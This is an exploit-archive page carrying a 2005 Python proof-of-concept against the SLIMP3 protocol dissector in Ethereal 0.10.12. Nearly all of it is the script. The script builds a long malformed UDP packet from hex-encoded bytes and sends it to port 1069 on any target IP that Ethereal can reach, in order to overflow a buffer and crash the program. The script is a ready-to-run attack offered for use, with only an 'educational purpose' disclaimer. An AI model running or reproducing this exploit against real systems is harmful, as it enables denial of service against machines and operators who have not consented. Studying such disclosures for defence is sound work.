exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ethereal_slimp3_bof.py.txt

ethereal_slimp3_bof.py.txt
Posted Oct 30, 2005
Authored by Sowhat | Site secway.org

Ethereal SLIMP3 protocol dissector remote buffer overflow proof of concept exploit that crashes the program. Tested with Ethereal 0.10.12, WinPcap 3.1 beta4, WinXP SP2.

tags | exploit, remote, overflow, protocol, proof of concept
systems | windows
SHA-256 | 4040c8f6a0687370d485ce7020c65239db8950551fc47099f8dc2c15e9977dfb

ethereal_slimp3_bof.py.txt

Change Mirror Download
# Ethereal SLIMP3 Remote Buffer Overflow PoC
# Bug Discoverd by Vendor(?)2005-10-19
# Coded by Sowhat
# http://secway.org
# 2005-10-20
# This PoC will crash the Ethereal
# Tested with Ethereal 0.10.12, WinPcap 3.1 beta4, WinXP SP2
# For educational purpose only, Use at your own risk!

# Version 0.9.1 to 0.10.12
# http://www.ethereal.com/docs/release-notes/ethereal-0.10.13.html
# "The SLIMP3 dissector could overflow a buffer. "

import sys
import string
import socket

if (len(sys.argv) != 2):
print " ###########################################"
print " # #"
print " # Ethereal SLIMP3 Remote Buffer Overflow PoC #"
print " # Coded by Sowhat #"
print " # http://secway.org #"
print " ###########################################"
print "\n Usage: " + sys.argv[0] + " TargetIP"
print " TargetIP should be any IP address Ethereal can reach"
sys.exit(0)

host = sys.argv[1]
port = 1069

victim = (host, port)

request = "\x6C\xC3\xB2\xA1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
request += "\xFF\xFF\x00\x00\x01\x00\x00\x00\x56\x57\xF7\x42\x5B\x6A\x04\x00"
request += "\x58\x01\x00\x00\x58\x01\x00\x00\x00\x04\x20\x04\x19\xA2\x00\x0C"
request += "\x6E\xE3\xB7\xC7\x08\x00\x45\x00\x01\x4A\xB4\x6C\x40\x00\x40\x11"
request += "\x03\x79\xC0\xA8\x00\x0A\xC0\xA8\x00\x63\x0D\x9B\x0D\x9B\x01\x36"
request += "\x83\x05\x6C\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
request += "\x20\x20\x20\x20\x02\x33\x02\x00\x02\x30\x03\x03\x02\x40\x03\x10"
request += "\x03\x10\x03\x10\x03\x10\x03\x10\x03\x10\x03\x10\x03\x00\x02\x58"
request += "\x03\x10\x03\x10\x03\x08\x03\x04\x03\x02\x03\x01\x03\x01\x03\x00"
request += "\x02\x60\x03\x7F\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00"
request += "\x03\x00\x02\x68\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01"
request += "\x03\x01\x03\x00\x02\x50\x03\x01\x03\x01\x03\x02\x03\x04\x03\x08"
request += "\x03\x10\x03\x10\x03\x00\x02\x48\x03\x01\x03\x02\x03\x04\x03\x08"
request += "\x03\x10\x03\x10\x03\x1F\x03\x00\x02\x06\x02\x02\x02\x0C\x03\x20"
request += "\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20"
request += "\x03\x20\x03\x20\x03\x02\x03\x00\x03\x05\x03\x5F\x03\x00\x03\x2E"
request += "\x03\x02\x03\x04\x03\x03\x03\x02\x03\x04\x03\x03\x03\x2E\x03\x02"
request += "\x03\x04\x03\x03\x03\x20\x03\x01\x03\x20\x03\x20\x03\x20\x03\x20"
request += "\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x02\xC0"
request += "\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20\x03\x20"
request += "\x03\x20\x03\x20\x03\x20\x03\x20\x03\x00\x03\x20\x03\x20\x03\x00"
request += "\x03\x2E\x03\x03\x03\x5F\x03\x02\x03\x03\x03\x01\x02\x03\x04\x01"
request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01"
request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02"
request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03"
request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04"
request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01"
request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01"
request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02"
request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03"
request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04"
request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01"
request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01"
request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02"
request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03"
request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04"
request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01"
request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01"
request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02"
request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03"
request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04"
request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01"
request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01"
request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02"
request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03"
request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04"
request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01"
request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01"
request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02"
request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03"
request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04"
request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01"
request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01"
request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02"
request += "\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03"
request += "\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04"
request += "\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01"
request += "\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01"
request += "\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02\x03\x04\x01\x01\x02"
request += "\x03\x04\x01\x5F"

s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(request, victim)
print " Ethereal should be crashed ! ;)"
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close